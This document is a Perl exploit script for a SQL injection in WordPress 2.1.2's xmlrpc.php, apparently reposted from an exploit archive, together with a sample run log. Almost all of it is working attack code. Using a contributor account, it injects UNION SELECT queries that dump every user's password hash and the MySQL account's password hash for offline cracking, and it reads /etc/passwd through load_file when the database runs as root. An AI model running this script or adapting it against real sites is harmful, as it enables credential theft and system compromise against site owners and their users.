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Wordpress 2.1.2 (xmlrpc) Remote SQL Injection Exploit
[=====================================================
Wordpress 2.1.2 (xmlrpc) Remote SQL Injection Exploit
=====================================================
#!/usr/bin/perl -w
#Wordpress 2.1.2 SQL Injection POC
#Wordpress version 2.1.2 is vulnerable to sql injection. This POC works when exploting with the credentials of a valid user. The user can belong to 'contributor' role or any higher role. Versions before 2.1.2 have not been tested but are most likely to be vulnerable as well.
#Example:---------------------------------------------------------------------------------------
#C:\wp-xmlrpc-2-2-sql.pl" http://192.168.2.4/apache2-default/wordpress/ author author 5
#
# The usage is correct
#[*] Trying Host http://192.168.2.4/apache2-default/wordpress/ ...
#[+] The xmlrpc-2-2 server seems to be working
#--------------------
#Username for id = 1 is:--> admin
#
#Md5 hash for user: admin
#
#is: 21232f297a57a5a743894a0e4a801fc3
#
#--------------------
#Username for id = 2 is:--> contri
#
#Md5 hash for user: contri
#
#is: 95a178dde9d3fa2bde4971f10d3acc3e
#
#--------------------
#Username for id = 3 is:--> author
#
#Md5 hash for user: author
#
#is: 02bd92faa38aaa6cc0ea75e59937a1ef
#
#-----------------------
#Total Number of Users found:-->3
#-----------------------
#Mysql is running as: root@localhost
#
#Encrypted password for: root@localhost
# is: root@localhost67457e226a1a15bd
#
#This deserves no mercy.... Lets get the /etc/passwd
#.......imho...Here is the /etc/passwd file:
#root:x:0:0:root:/root:/bin/bash
#daemon:x:1:1:daemon:/usr/sbin:/bin/sh
#bin:x:2:2:bin:/bin:/bin/sh
#sys:x:3:3:sys:/dev:/bin/sh
#sync:x:4:65534:sync:/bin:/bin/sync
#games:x:5:60:games:/usr/games:/bin/sh
#man:x:6:12:man:/var/cache/man:/bin/sh
#lp:x:7:7:lp:/var/spool/lpd:/bin/sh
#mail:x:8:8:mail:/var/mail:/bin/sh
#news:x:9:9:news:/var/spool/news:/bin/sh
#uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
#proxy:x:13:13:proxy:/bin:/bin/sh
#www-data:x:33:33:www-data:/var/www:/bin/sh
#backup:x:34:34:backup:/var/backups:/bin/sh
#list:x:38:38:Mailing List Manager:/var/list:/bin/sh
#gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
#messagebus:x:100:103::/var/run/dbus:/bin/false
#postgres:x:101:105:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
#haldaemon:x:103:109:Hardware abstraction layer,,,:/home/haldaemon:/bin/false
#gdm:x:104:112:Gnome Display Manager:/var/lib/gdm:/bin/false
#mysql:x:105:113:MySQL Server,,,:/var/lib/mysql:/bin/false
#sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
#snort:x:107:115:Snort IDS:/var/log/snort:/bin/false
#postfix:x:108:116::/var/spool/postfix:/bin/false
#stunnel4:x:109:118::/var/run/stunnel4:/bin/false
#arpwatch:x:111:120:ARP Watcher,,,:/var/lib/arpwatch:/bin/sh
#statd:x:112:65534::/var/lib/nfs:/bin/false
#sfs:x:113:121::/var/lib/sfs:/bin/false
#ftp:x:114:65534::/home/ftp:/bin/false
#Debian-exim:x:115:122::/var/spool/exim4:/bin/false
#telnetd:x:116:123::/nonexistent:/bin/false
#-------------------------------------------------------------------------------------------------------
#use warnings;
use LWP::UserAgent;
my $ua = new LWP::UserAgent;
$ua->agent("Wordpress Hash Grabber v2.0" . $ua->agent);
my $host = $ARGV[0]; # The path to xmlrpc.php
my $username= $ARGV[1];#username <any role>
my $password= $ARGV[2];#password <any role>
my $postid= $ARGV[3];#post id which the user can edit
my $pref = 'wp_'; # database prefix!
my $hash_pass="";
#$root='root@localhost.com';
if (@ARGV < 4)
{
print " -----------------------------------------------------------------------\n";
print " wp-xmlrpc-sql.pl - Wordpress xmlrpc.php 'post_id' sql injection exploit\n Version 2.1.2";
print " by NotSoSecure // www.notsosecure.com \n";
print " coded by sid //sid\@notsosecure.com // 31.03.2007\n";
print " ------------------------------------------------------------------------\n";
print " Usage:\n";
print " wp-xmlrpc-sql.pl <host> <username> <password> <post_id>\n";
print "\n";
print " <host> - host for attack\n full path eg. http://192.168.1.4/wordpress/";
print " <username> - valid username, can be in any of these role: contributor, author, editor \n";
print " <password> - valid password for the user\n";
print " <post_id> - valid post_id which the user can edit\n";
print " ------------------------------------------------------------------------\n";
exit();
}
print "\n The usage is correct\n[*] Trying Host $host ...\n";
my $res = $ua->get($host.'/xmlrpc.php');
if ( $res->content =~ /XML-RPC server accepts POST requests only/is )
{
print "[+] The xmlrpc server seems to be working \n";
}
else
{
print "--------------------\n";
print "[error]--> Something seems to be wrong with the xmlrpc.php \nCheck the full path to xmlrpc.php again\n ";
# Sloppy way of debugging, remove if you want
open(LOG, ">wp_out.html"); print LOG $res->content;
exit;
}
for ($i=1; $i<=100 ;$i++)
{
#bug: if a user has been deleted the corresponding id will be missing.
#change this to point to the known ids or the usernames, or just make it go for top 100 ids
#obtaining usernames and userid
my $sql = "<?xml version=\"1.0\"?><methodCall><methodName>mt.setPostCategories</methodName> <params> <param><value><string>".$postid." union all select user_login from wp_users where id=".$i."</string></value> </param> <param><value><string>".$username."</string></value> </param> <param><value><string>".$password."</string></value> </param> <param><value> <array> <data><value> <struct> <member> <name>categoryId</name> <value><string>1</string></value> </member> <member> <name>categoryName</name> <value><string>Uncategorized</string></value> </member> <member> <name>isPrimary</name> <value><boolean>0</boolean></value> </member> </struct></value> </data></array></value> </param> </params></methodCall>";
my $req = new HTTP::Request POST => $host . "/xmlrpc.php";
$req->content($sql);
$res = $ua->request($req);
$out = $res->content;
if($out=~ /Bad login\/pass combination/)
{
print "--------------------\n";
print "[error]-->Invalid username/password conbination\n";
exit;
}
if($out=~ /Sorry, you can not edit this post/)
{
print "--------------------\n";
print "[error]-->INVALID postid \n Supply a post id which can be edited by this user.\n";
exit;
}
if ($out =~ /DELETE FROM wp_post2cat/)
{
#print "found";
print "--------------------\n";
@result2=split(/category_id =/,$out);
#to do: remove the assumption that username is less than 10 char
$final=substr($result2[1],1,10);
print "Username for id = ".$i." is:--> ".$final."\n";
no warnings;
#obtaining md5 hash for the username
my $sql2 = "<?xml version=\"1.0\"?><methodCall><methodName>mt.setPostCategories</methodName> <params> <param><value><string>".$postid." union all select user_pass from wp_users where id=".$i."</string></value> </param> <param><value><string>".$username."</string></value> </param> <param><value><string>".$password."</string></value> </param> <param><value> <array> <data><value> <struct> <member> <name>categoryId</name> <value><string>1</string></value> </member> <member> <name>categoryName</name> <value><string>Uncategorized</string></value> </member> <member> <name>isPrimary</name> <value><boolean>0</boolean></value> </member> </struct></value> </data></array></value> </param> </params></methodCall>";
my $req2 = new HTTP::Request POST => $host . "/xmlrpc.php";
$req2->content($sql2);
$res2 = $ua->request($req2);
$out2 = $res2->content;
@result3=split(/category_id =/,$out2);
$hash=substr($result3[1],1,33);
print "Md5 hash for user: ".$final." \nis: ".$hash."\n";
}
else
{
print "-----------------------\n";
print "Total Number of Users found:-->".($i-1)."\n";
print "-----------------------\n";
#lets find wat the db is running as:
my $sql2 = "<?xml version=\"1.0\"?><methodCall><methodName>mt.setPostCategories</methodName> <params> <param><value><string>".$postid." union all select user()</string></value> </param> <param><value><string>".$username."</string></value> </param> <param><value><string>".$password."</string></value> </param> <param><value> <array> <data><value> <struct> <member> <name>categoryId</name> <value><string>1</string></value> </member> <member> <name>categoryName</name> <value><string>Uncategorized</string></value> </member> <member> <name>isPrimary</name> <value><boolean>0</boolean></value> </member> </struct></value> </data></array></value> </param> </params></methodCall>";
my $req2 = new HTTP::Request POST => $host . "/xmlrpc.php";
$req2->content($sql2);
$res2 = $ua->request($req2);
$out2 = $res2->content;
@result3=split(/category_id =/,$out2);
$hash_user=substr($result3[1],1,20);
print "Mysql is running as: ".$hash_user."\n";
#lets get the password hash of the db_user for offline cracking
#buggy code
my $sql3 = "<?xml version=\"1.0\"?><methodCall><methodName>mt.setPostCategories</methodName> <params> <param><value><string>".$postid." union all select concat(user(),mysql.user.Password) from mysql.user where user=user()</string></value> </param> <param><value><string>".$username."</string></value> </param> <param><value><string>".$password."</string></value> </param> <param><value> <array> <data><value> <struct> <member> <name>categoryId</name> <value><string>1</string></value> </member> <member> <name>categoryName</name> <value><string>Uncategorized</string></value> </member> <member> <name>isPrimary</name> <value><boolean>0</boolean></value> </member> </struct></value> </data></array></value> </param> </params></methodCall>";
my $req3 = new HTTP::Request POST => $host . "/xmlrpc.php";
$req3->content($sql3);
$res3 = $ua->request($req3);
$out3 = $res3->content;
my $hash_pass="";
#print $out3;
if ($out3=~m/SELECT command denied to user/) {
print "Cant get the password for this user, \nPermission Denied, Thats better security!!";
exit;}
else{
@result3=split(/category_id =/,$out3);
$hash_pass=substr($result3[1],1,30);
print $hash_pass;
if ($hash_pass eq "") {
print "No Password set";
}
else{
print "Encrypted password for: ".$hash_user."\n is ".$hash_pass."\n";
} #IF database is running as root, lets rip it apart
if ($hash_user =~m/root/) {
print"\nThis deserves no mercy....\n Lets get the /etc/passwd\n.......imho...\n\n";
my $sql4 = "<?xml version=\"1.0\"?><methodCall><methodName>mt.setPostCategories</methodName> <params> <param><value><string>".$postid." union all select load_file(0x2f6574632f706173737764)</string></value> </param> <param><value><string>".$username."</string></value> </param> <param><value><string>".$password."</string></value> </param> <param><value> <array> <data><value> <struct> <member> <name>categoryId</name> <value><string>1</string></value> </member> <member> <name>categoryName</name> <value><string>Uncategorized</string></value> </member> <member> <name>isPrimary</name> <value><boolean>0</boolean></value> </member> </struct></value> </data></array></value> </param> </params></methodCall>";
my $req2 = new HTTP::Request POST => $host . "/xmlrpc.php";
$req2->content($sql4);
$res2 = $ua->request($req2);
$out2 = $res2->content;
@result3=split(/category_id =/,$out2);
$hash=substr($result3[1],1,1600);
print "Here is the /etc/passwd file:\n\n\n";
print $hash;
}
exit;
}
}
}
# 0day.today [2024-11-16] #